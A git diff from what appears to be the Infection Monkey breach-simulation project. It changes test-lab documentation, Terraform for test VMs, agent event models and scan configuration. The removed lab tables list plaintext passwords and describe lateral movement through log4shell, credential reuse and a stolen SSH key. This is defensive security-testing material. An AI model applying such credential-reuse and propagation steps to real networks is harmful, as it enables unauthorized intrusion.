<td>User: m0nk3y, Password: nPj8rbc3<br>
Exploited from island via log4shell(tomcat). Then uses cached powershell credentials to
propagate to powershell-3-44</td>
Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit
this machine without credentials as long as the user running the agent is the same on both
machines</td>
</tr>
</tbody>
</table>
@ -909,120 +874,6 @@ Accessiable only through <strong>3-45 Powershell</strong> using credentials reus
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121480" class="anchor"></span>Nr. <strong>14</strong> Credentials Reuse</p>
<p>(10.2.3.14, 10.2.4.14)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:u26gbVQe</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can only access Credentials Reuse 15 and Island.</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Island with password authentication</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121481" class="anchor"></span>Nr. <strong>15</strong> Credentials Reuse</p>
<p>(10.2.4.15, 10.2.5.15)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:5BuYHeVl</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can be only accessed by Credentials Reuse 14 and communicate to<br>
Credentials Reuse 16.
</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Credentials Reuse 14 with password authentication</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121482" class="anchor"></span>Nr. <strong>16</strong> Credentials Reuse</p>
<p>(10.2.3.16, 10.2.5.16)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:lIZl6vTR</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can be only accessed by Credentials Reuse 15 and communicate to<br>
the Island.
</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Credentials Reuse 15 with passwordless ssh key authentication.<br>
We use the ssh key that was stolen from Credentials Reuse 16</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

View File

@ -1 +0,0 @@
<mxfile host="app.diagrams.net" modified="2022-09-23T15:01:54.105Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" etag="spZrDzUM2aBFwquXRZY8" version="20.3.0" type="device"><diagram id="YCekmHjAy1LVhBsJn630" name="Page-1">7VjbjpswEP2aSO1DEGBIyOPmst1WqZRqpV6eVg444K3B1Di3/fraYC4OyXajJKKqKuWBGXuM58zxGZMemMS7Dwym0WcaINKzzWDXA9OebVuObffkzwz2hWc4cgpHyHCgJtWOR/yClNNU3jUOUKZN5JQSjlPd6dMkQT7XfJAxutWnrSjR35rCELUcjz4kbe83HPCo8HquWfsfEA6j8s2WqUZiWE5WjiyCAd02XGDWAxNGKS+e4t0EEQleiUsRd39itNoYQwl/S4CN5unz0yd7/JBEwfPw69MX8KuvVsn4vkwYBSJ/ZVLGIxrSBJJZ7R0zuk4CJFc1hVXPmVOaCqclnM+I870qJlxzKlwRj4kaFRtm++8qPjd+SMOw3dKe7pqj072yVpiQCSWU5VsFK89Hvi/8GWf0J2qMLD3XcWVEkZ7M6SRqJQR0zXz0ClSKyByyEPHXIHWq4opTgWiMRAoikCECOd7oG4GKnmE1T4XeMQb3jQkpxQnPGisvpENMUCfNBopm6pzZgwM2nDdfPBQ7OBE9PIh2R8ZIz6jAScVpCzdQqV05Wc8gbqkrG0jWCtI5DZ3HSMS+4zT2IX9/lNtzuBQSpfEREhwm4tkXnECCQeMNYhwLDbhTAzEOgoL6KMMvcJmvJ+mlqiIWd8c9d1oRTi6AdlqllUCp4FoWmlQ8fUTbdFKr98WxsSxPq8agsM4j3BGGaIv2HX0Bulpl6DalbVX2Y0ZgErTKqQvRNsIcPaYwP8Rb0Y30Ip8sTEsLTmI9OiC9U5F+W7eGqgFEjbbgmafR1+A7FyvQiX7vMM/l2zBLsxBwz1Vmrd/S2DeMBWJYpC6P2fTKAm05b1RouwuBBgNLYw+wLhFcYLYEt8DndoLrdntVMNzmZcH6m28KbyciuJCJF2lH2ScaQrugW8SyqAj2GQpE7hiSfEvrDP0bDbVg8kmVNw1rqHc+cFk/vX3HLAnXqGRaVbIP+o6o9IAITMZLJp5CnuN66LHEVcIAhjPovNGCwWGnNTvus2UODYRbKFUfeBKkAArwS8Qa6OgClNAEtdVqdu/d23IykUdrQTPMMT16nuYHE5aUi7vvkQPHpd62zyVdc4ITsZ3y41nuVuSRypTiXSi/6Y0NQjA24uxpi5Mg/6C+Ro0d57CjtWvsHCkxGBnerYo87KLFXbHxlFf2m9+ALoMZ/EGtnHPUyulcrSrV2eus7U6s2u3gv1hdtSFZtxQrYdb/ChZXhPq/VTD7DQ==</diagram></mxfile>

View File

@ -59,26 +59,10 @@ data "google_compute_image" "powershell-3-46" {
name = "powershell-3-46"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-44" {
name = "powershell-3-44"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-45" {
name = "powershell-3-45"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-14" {
name = "credentials-reuse-14"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-15" {
name = "credentials-reuse-15"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-16" {
name = "credentials-reuse-16"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-solr-49" {
name = "log4j-solr-49"
project = local.monkeyzoo_project

View File

@ -44,18 +44,6 @@ resource "google_compute_subnetwork" "tunneling2-main" {
network = google_compute_network.tunneling2.self_link
}
resource "google_compute_subnetwork" "credential-reuse" {
name = "${local.resource_prefix}credential-reuse"
ip_cidr_range = "10.2.4.0/24"
network = google_compute_network.credential-reuse.self_link
}
resource "google_compute_subnetwork" "credential-reuse2" {
name = "${local.resource_prefix}credential-reuse2"
ip_cidr_range = "10.2.5.0/24"
network = google_compute_network.credential-reuse2.self_link
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "${local.resource_prefix}hadoop-2"
source_instance_template = local.default_ubuntu
@ -311,18 +299,18 @@ resource "google_compute_instance_from_template" "powershell-3-46" {
}
}
resource "google_compute_instance_from_template" "powershell-3-44" {
name = "${local.resource_prefix}powershell-3-44"
resource "google_compute_instance_from_template" "powershell-3-45" {
name = "${local.resource_prefix}powershell-3-45"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-44.self_link
image = data.google_compute_image.powershell-3-45.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.44"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.45"
}
}
@ -336,68 +324,11 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.45"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-14" {
name = "${local.resource_prefix}credentials-reuse-14"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-14.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.14"
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse"
network_ip="10.2.4.14"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-15" {
name = "${local.resource_prefix}credentials-reuse-15"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-15.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse"
network_ip="10.2.4.15"
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse2"
network_ip="10.2.5.15"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-16" {
name = "${local.resource_prefix}credentials-reuse-16"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-16.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse2"
network_ip="10.2.5.16"
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.16"
}
}
resource "google_compute_instance_from_template" "log4j-solr-49" {
name = "${local.resource_prefix}log4j-solr-49"
source_instance_template = local.default_linux

View File

@ -1,6 +1,3 @@
from ipaddress import IPv4Address
from typing import Collection
import pytest
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
@ -43,17 +40,18 @@ def island_client(island):
@pytest.mark.usefixtures("island_client")
# noinspection PyUnresolvedReferences
class TestOSCompatibility(object):
def test_os_compat(self, island_client: MonkeyIslandClient):
def test_os_compat(self, island_client):
print()
ips_that_communicated = self._get_agent_ips(island_client)
all_monkeys = island_client.get_all_monkeys_from_db()
ips_that_communicated = []
for monkey in all_monkeys:
for ip in monkey["ip_addresses"]:
if ip in machine_list:
ips_that_communicated.append(ip)
break
for ip, os in machine_list.items():
if IPv4Address(ip) not in ips_that_communicated:
if ip not in ips_that_communicated:
print("{} didn't communicate to island".format(os))
if len(ips_that_communicated) < len(machine_list):
assert False
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
agents = island_client.get_agents()
machines = island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}

View File

@ -7,4 +7,3 @@ from .operating_system import OperatingSystem
from . import types
from . import base_models
from .agent_registration_data import AgentRegistrationData
from .agent_signals import AgentSignals

View File

@ -12,7 +12,7 @@ from .agent_sub_configurations import (
class AgentConfiguration(MutableInfectionMonkeyBaseModel):
keep_tunnel_open_time: confloat(ge=0) # type: ignore[valid-type]
keep_tunnel_open_time: confloat(ge=0)
custom_pbas: CustomPBAConfiguration
post_breach_actions: Tuple[PluginConfiguration, ...]
credential_collectors: Tuple[PluginConfiguration, ...]

View File

@ -3,7 +3,6 @@ from typing import Dict, Tuple
from pydantic import PositiveFloat, conint, validator
from common.base_models import MutableInfectionMonkeyBaseModel
from common.types import NetworkPort
from .validators import (
validate_ip,
@ -80,8 +79,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
Example: ("1.1.1.1", "2.2.2.2")
:param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent
Example: ("1.1.1.1", "2.2.2.2/24", "myserver")
:param scan_my_networks: If true the Agent will scan networks it belongs to
in addition to the provided subnet ranges
:param local_network_scan: Whether or not the agent should scan the local network
:param subnets: Subnet ranges to scan
Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24",
"myHostname")
@ -89,7 +87,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
blocked_ips: Tuple[str, ...]
inaccessible_subnets: Tuple[str, ...]
scan_my_networks: bool
local_network_scan: bool
subnets: Tuple[str, ...]
@validator("blocked_ips", each_item=True)
@ -129,7 +127,7 @@ class TCPScanConfiguration(MutableInfectionMonkeyBaseModel):
"""
timeout: PositiveFloat
ports: Tuple[NetworkPort, ...]
ports: Tuple[conint(ge=0, le=65535), ...]
class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel):
@ -157,7 +155,7 @@ class ExploitationOptionsConfiguration(MutableInfectionMonkeyBaseModel):
:param http_ports: HTTP ports to exploit
"""
http_ports: Tuple[NetworkPort, ...]
http_ports: Tuple[conint(ge=0, le=65535), ...]
class ExploitationConfiguration(MutableInfectionMonkeyBaseModel):
@ -187,6 +185,6 @@ class PropagationConfiguration(MutableInfectionMonkeyBaseModel):
:param exploitation: Configuration for exploitation
"""
maximum_depth: conint(ge=0) # type: ignore[valid-type]
maximum_depth: conint(ge=0)
network_scan: NetworkScanConfiguration
exploitation: ExploitationConfiguration

View File

@ -78,7 +78,7 @@ FINGERPRINTERS = (
)
SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration(
blocked_ips=tuple(), inaccessible_subnets=tuple(), scan_my_networks=False, subnets=tuple()
blocked_ips=tuple(), inaccessible_subnets=tuple(), local_network_scan=True, subnets=tuple()
)
NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration(
tcp=TCP_SCAN_CONFIGURATION,

View File

@ -1,5 +1,5 @@
from .consts import EVENT_TYPE_FIELD
from .i_agent_event_serializer import IAgentEventSerializer
from .i_agent_event_serializer import IAgentEventSerializer, JSONSerializable
from .agent_event_serializer_registry import AgentEventSerializerRegistry
from .pydantic_agent_event_serializer import PydanticAgentEventSerializer
from .register import register_common_agent_event_serializers

View File

@ -1,7 +1,17 @@
from abc import ABC, abstractmethod
from typing import Dict, List, Union
from common.agent_events import AbstractAgentEvent
from common.types import JSONSerializable
JSONSerializable = Union[ # type: ignore[misc]
Dict[str, "JSONSerializable"], # type: ignore[misc]
List["JSONSerializable"], # type: ignore[misc]
int,
str,
float,
bool,
None,
]
class IAgentEventSerializer(ABC):

View File

@ -2,10 +2,9 @@ import logging
from typing import Generic, Type, TypeVar
from common.agent_events import AbstractAgentEvent
from common.types import JSONSerializable
from common.utils.code_utils import del_key
from . import EVENT_TYPE_FIELD, IAgentEventSerializer
from . import EVENT_TYPE_FIELD, IAgentEventSerializer, JSONSerializable
logger = logging.getLogger(__name__)

View File

@ -1,10 +1,4 @@
from common.agent_events import (
CredentialsStolenEvent,
ExploitationEvent,
PingScanEvent,
PropagationEvent,
TCPScanEvent,
)
from common.agent_events import CredentialsStolenEvent
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
@ -15,7 +9,3 @@ def register_common_agent_event_serializers(
event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer(
CredentialsStolenEvent
)
event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent)
event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent)
event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent)
event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent)

View File

@ -1,6 +1,2 @@
from .abstract_agent_event import AbstractAgentEvent
from .credentials_stolen_events import CredentialsStolenEvent
from .ping_scan_event import PingScanEvent
from .tcp_scan_event import TCPScanEvent
from .exploitation_event import ExploitationEvent
from .propagation_event import PropagationEvent

View File

@ -25,6 +25,6 @@ class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC):
"""
source: AgentID
target: Union[IPv4Address, MachineID, None] = Field(default=None)
target: Union[MachineID, IPv4Address, None] = Field(default=None)
timestamp: float = Field(default_factory=time.time)
tags: FrozenSet[str] = Field(default_factory=frozenset)

View File

@ -1,22 +0,0 @@
from ipaddress import IPv4Address
from pydantic import Field
from . import AbstractAgentEvent
class ExploitationEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent exploits a host
Attributes:
:param target: IP address of the exploited system
:param success: Status of the exploitation
:param exploiter_name: Name of the exploiter that triggered the event
:param error_message: Message if an error occurs during exploitation
"""
target: IPv4Address
success: bool
exploiter_name: str
error_message: str = Field(default="")

View File

@ -1,21 +0,0 @@
from ipaddress import IPv4Address
from typing import Optional
from common import OperatingSystem
from . import AbstractAgentEvent
class PingScanEvent(AbstractAgentEvent):
"""
An event that occurs when the agent performs a ping scan on its network
Attributes:
:param target: IP address of the pinged system
:param response_received: Indicates if target responded to the ping
:param os: Operating system type determined by ICMP fingerprinting
"""
target: IPv4Address
response_received: bool
os: Optional[OperatingSystem]

View File

@ -1,22 +0,0 @@
from ipaddress import IPv4Address
from pydantic import Field
from . import AbstractAgentEvent
class PropagationEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent propagates on a host
Attributes:
:param target: IP address of the propagated system
:param success: Status of the propagation
:param exploiter_name: Name of the exploiter that propagated
:param error_message: Message if an error occurs during propagation
"""
target: IPv4Address
success: bool
exploiter_name: str
error_message: str = Field(default="")

View File

@ -1,19 +0,0 @@
from ipaddress import IPv4Address
from typing import Dict
from common.types import NetworkPort, PortStatus
from . import AbstractAgentEvent
class TCPScanEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent performs a TCP scan on a host
Attributes:
:param target: IP address of the scanned system
:param ports: The scanned ports and their status (open/closed)
"""
target: IPv4Address
ports: Dict[NetworkPort, PortStatus]

View File

@ -7,7 +7,7 @@ from pydantic import validator
from .base_models import InfectionMonkeyBaseModel
from .transforms import make_immutable_sequence
from .types import HardwareID, SocketAddress
from .types import HardwareID
class AgentRegistrationData(InfectionMonkeyBaseModel):
@ -15,7 +15,7 @@ class AgentRegistrationData(InfectionMonkeyBaseModel):
machine_hardware_id: HardwareID
start_time: datetime
parent_id: Optional[UUID]
cc_server: SocketAddress
cc_server: str
network_interfaces: Sequence[IPv4Interface]
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(

View File

@ -1,8 +0,0 @@
from datetime import datetime
from typing import Optional
from .base_models import InfectionMonkeyBaseModel
class AgentSignals(InfectionMonkeyBaseModel):
terminate: Optional[datetime]

View File

@ -10,11 +10,6 @@ class InfectionMonkeyModelConfig:
extra = Extra.forbid
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
allow_mutation = True
validate_assignment = True
class InfectionMonkeyBaseModel(BaseModel):
class Config(InfectionMonkeyModelConfig):
pass
@ -52,5 +47,6 @@ class InfectionMonkeyBaseModel(BaseModel):
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
class Config(MutableInfectionMonkeyModelConfig):
pass
class Config(InfectionMonkeyModelConfig):
allow_mutation = True
validate_assignment = True

View File

@ -1,6 +1,6 @@
import inspect
from contextlib import suppress
from typing import Any, Sequence, Type, TypeVar, no_type_check
from typing import Any, Sequence, Type, TypeVar
from common.utils.code_utils import del_key
@ -15,9 +15,6 @@ class UnregisteredConventionError(ValueError):
pass
# Mypy doesn't handle cases where abstract class is passed as Type[...]
# https://github.com/python/mypy/issues/4717
# We are using typing.no_type_check to mitigate these errors
class DIContainer:
"""
A dependency injection (DI) container that uses type annotations to resolve and inject
@ -29,7 +26,6 @@ class DIContainer:
self._instance_registry = {}
self._convention_registry = {}
@no_type_check
def register(self, interface: Type[T], concrete_type: Type[T]):
"""
Register a concrete `type` that satisfies a given interface.
@ -59,7 +55,6 @@ class DIContainer:
self._type_registry[interface] = concrete_type
del_key(self._instance_registry, interface)
@no_type_check
def register_instance(self, interface: Type[T], instance: T):
"""
Register a concrete instance that satisfies a given interface.
@ -78,7 +73,6 @@ class DIContainer:
self._instance_registry[interface] = instance
del_key(self._type_registry, interface)
@no_type_check
def register_convention(self, type_: Type[T], name: str, instance: T):
"""
Register an instance as a convention
@ -107,7 +101,6 @@ class DIContainer:
"""
self._convention_registry[(type_, name)] = instance
@no_type_check
def resolve(self, type_: Type[T]) -> T:
"""
Resolves all dependencies and returns a new instance of `type_` using constructor dependency

View File

@ -2,4 +2,3 @@ from .types import AgentEventSubscriber
from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper
from .i_agent_event_queue import IAgentEventQueue
from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue
from .locking_agent_event_queue_decorator import LockingAgentEventQueueDecorator

View File

@ -1,31 +0,0 @@
from threading import Lock
from typing import Type
from common.agent_events import AbstractAgentEvent
from . import AgentEventSubscriber, IAgentEventQueue
class LockingAgentEventQueueDecorator(IAgentEventQueue):
"""
Makes an IAgentEventQueue thread-safe by locking publish()
"""
def __init__(self, agent_event_queue: IAgentEventQueue, lock: Lock):
self._lock = lock
self._agent_event_queue = agent_event_queue
def subscribe_all_events(self, subscriber: AgentEventSubscriber):
self._agent_event_queue.subscribe_all_events(subscriber)
def subscribe_type(
self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber
):
self._agent_event_queue.subscribe_type(event_type, subscriber)
def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber):
self._agent_event_queue.subscribe_tag(tag, subscriber)
def publish(self, event: AbstractAgentEvent):
with self._lock:
self._agent_event_queue.publish(event)

View File

@ -4,7 +4,7 @@ import random
import socket
import struct
from abc import ABCMeta, abstractmethod
from typing import Iterable, List, Tuple
from typing import List, Tuple
logger = logging.getLogger(__name__)
@ -58,7 +58,7 @@ class NetworkRange(object, metaclass=ABCMeta):
return SingleIpRange(ip_address=address_str)
@staticmethod
def filter_invalid_ranges(ranges: Iterable[str], error_msg: str) -> List[str]:
def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]:
valid_ranges = []
for target_range in ranges:
try:

View File

@ -1,16 +1,12 @@
import ipaddress
from ipaddress import IPv4Address, IPv4Interface
from ipaddress import IPv4Interface
from typing import List, Optional, Sequence, Tuple
from netifaces import AF_INET, ifaddresses, interfaces
def get_my_ip_addresses_legacy() -> Sequence[str]:
return [str(ip) for ip in get_my_ip_addresses()]
def get_my_ip_addresses() -> Sequence[IPv4Address]:
return [interface.ip for interface in get_network_interfaces()]
def get_my_ip_addresses() -> Sequence[str]:
return [str(interface.ip) for interface in get_network_interfaces()]
def get_network_interfaces() -> List[IPv4Interface]:

View File

@ -1,14 +0,0 @@
from .attack import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1021_ATTACK_TECHNIQUE_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1098_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
T1570_ATTACK_TECHNIQUE_TAG,
)

View File

@ -1,12 +0,0 @@
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"

View File

@ -1,94 +1,8 @@
from __future__ import annotations
from dataclasses import dataclass
from enum import Enum
from ipaddress import IPv4Address
from typing import Dict, List, Optional, Union
from uuid import UUID
from pydantic import ConstrainedInt, PositiveInt
from pydantic import PositiveInt
from typing_extensions import TypeAlias
from common import OperatingSystem
from common.base_models import InfectionMonkeyBaseModel
from common.network.network_utils import address_to_ip_port
AgentID: TypeAlias = UUID
HardwareID: TypeAlias = PositiveInt
MachineID: TypeAlias = PositiveInt
JSONSerializable = Union[ # type: ignore[misc]
Dict[str, "JSONSerializable"], # type: ignore[misc]
List["JSONSerializable"], # type: ignore[misc]
int,
str,
float,
bool,
None,
]
class NetworkService(Enum):
"""
An Enum representing network services
This Enum represents all network services that Infection Monkey supports. The value of each
member is the member's name in all lower-case characters.
"""
UNKNOWN = "unknown"
class NetworkPort(ConstrainedInt):
"""
Define network port as constrainer integer.
To define a default value with this type:
port: NetworkPort = typing.cast(NetworkPort, 1000)
"""
ge = 0
le = 65535
@dataclass
class PingScanData:
response_received: bool
os: Optional[OperatingSystem]
class PortStatus(Enum):
"""
An Enum representing the status of the port.
This Enum represents the status of a network pork. The value of each
member is the member's name in all lower-case characters.
"""
OPEN = "open"
CLOSED = "closed"
class SocketAddress(InfectionMonkeyBaseModel):
ip: IPv4Address
port: NetworkPort
@classmethod
def from_string(cls, address_str: str) -> SocketAddress:
"""
Parse a SocketAddress object from a string
:param address_str: A string of ip:port
:raises ValueError: If the string is not a valid ip:port
:return: SocketAddress with the IP and port
"""
ip, port = address_to_ip_port(address_str)
if port is None:
raise ValueError("SocketAddress requires a port")
return SocketAddress(ip=IPv4Address(ip), port=int(port))
def __hash__(self):
return hash(str(self))
def __str__(self):
return f"{self.ip}:{self.port}"

View File

@ -35,7 +35,6 @@ bcrypt = "==3.2.2"
[dev-packages]
ldap3 = "*"
mypy = "*"
[requires]
python_version = "3.7"

View File

@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
"sha256": "f9abf32c9cb2724beb6b120c657d79fde001468eeab93775dc0fc31bf6eaa3d9"
"sha256": "5e9fbd68544462c51d9b31787a43522f1e39978044952717a42de8aee1844917"
},
"pipfile-spec": 6,
"requires": {
@ -243,7 +243,7 @@
"sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e",
"sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"
],
"markers": "python_version >= '3.6' and python_version < '4'",
"markers": "python_version >= '3.6' and python_version < '4.0'",
"version": "==2.2.1"
},
"egg-timer": {
@ -1040,42 +1040,6 @@
],
"version": "==2.9.1"
},
"mypy": {
"hashes": [
"sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655",
"sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9",
"sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3",
"sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6",
"sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0",
"sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58",
"sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103",
"sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09",
"sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417",
"sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56",
"sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2",
"sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856",
"sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0",
"sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8",
"sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27",
"sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5",
"sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71",
"sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27",
"sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe",
"sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca",
"sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf",
"sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9",
"sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"
],
"index": "pypi",
"version": "==0.971"
},
"mypy-extensions": {
"hashes": [
"sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
"sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
],
"version": "==0.4.3"
},
"pyasn1": {
"hashes": [
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
@ -1093,52 +1057,6 @@
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
],
"version": "==0.4.8"
},
"tomli": {
"hashes": [
"sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc",
"sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
],
"markers": "python_version < '3.11'",
"version": "==2.0.1"
},
"typed-ast": {
"hashes": [
"sha256:0261195c2062caf107831e92a76764c81227dae162c4f75192c0d489faf751a2",
"sha256:0fdbcf2fef0ca421a3f5912555804296f0b0960f0418c440f5d6d3abb549f3e1",
"sha256:183afdf0ec5b1b211724dfef3d2cad2d767cbefac291f24d69b00546c1837fb6",
"sha256:211260621ab1cd7324e0798d6be953d00b74e0428382991adfddb352252f1d62",
